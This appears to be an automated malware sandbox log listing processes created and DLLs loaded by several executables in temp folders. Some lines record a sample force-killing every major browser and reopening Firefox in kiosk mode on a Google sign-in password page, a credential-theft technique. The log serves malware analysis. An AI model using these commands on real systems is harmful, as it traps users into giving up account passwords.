Source: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2336 -parentBuildID 20230927232528 -prefsHandle 2272 -prefMapHandle 2236 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {056c1829-1489-4462-84f6-93cc61eafcc5} 6324 "\\.\pipe\gecko-crash-server-pipe.6324" 142eea70d10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1500 -parentBuildID 20230927232528 -prefsHandle 1592 -prefMapHandle 1588 -prefsLen 26208 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {f9228ff8-9980-4fa2-9141-b9f58deda460} 6324 "\\.\pipe\gecko-crash-server-pipe.6324" 142eea40e10 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5008 -parentBuildID 20230927232528 -sandboxingKind 0 -prefsHandle 2772 -prefMapHandle 5000 -prefsLen 33432 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3d4cebb5-683c-4393-aef5-39b16f43d113} 6324 "\\.\pipe\gecko-crash-server-pipe.6324" 143007c8110 utility
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2320 --field-trial-handle=2264,i,3408409767648630959,14384072730844611425,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2240 --field-trial-handle=1964,i,5845654631187663994,2567746143753107217,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5268 --field-trial-handle=1964,i,5845654631187663994,2567746143753107217,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2520 --field-trial-handle=2436,i,13671840630298564156,2498455928288971155,262144 /prefetch:8
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsJDGCFBAFBF.exe "C:\Users\user\DocumentsJDGCFBAFBF.exe"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1812 --field-trial-handle=1984,i,3123970943931403646,18259308143120188445,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Section loaded: iertutil.dll	Jump to behavior
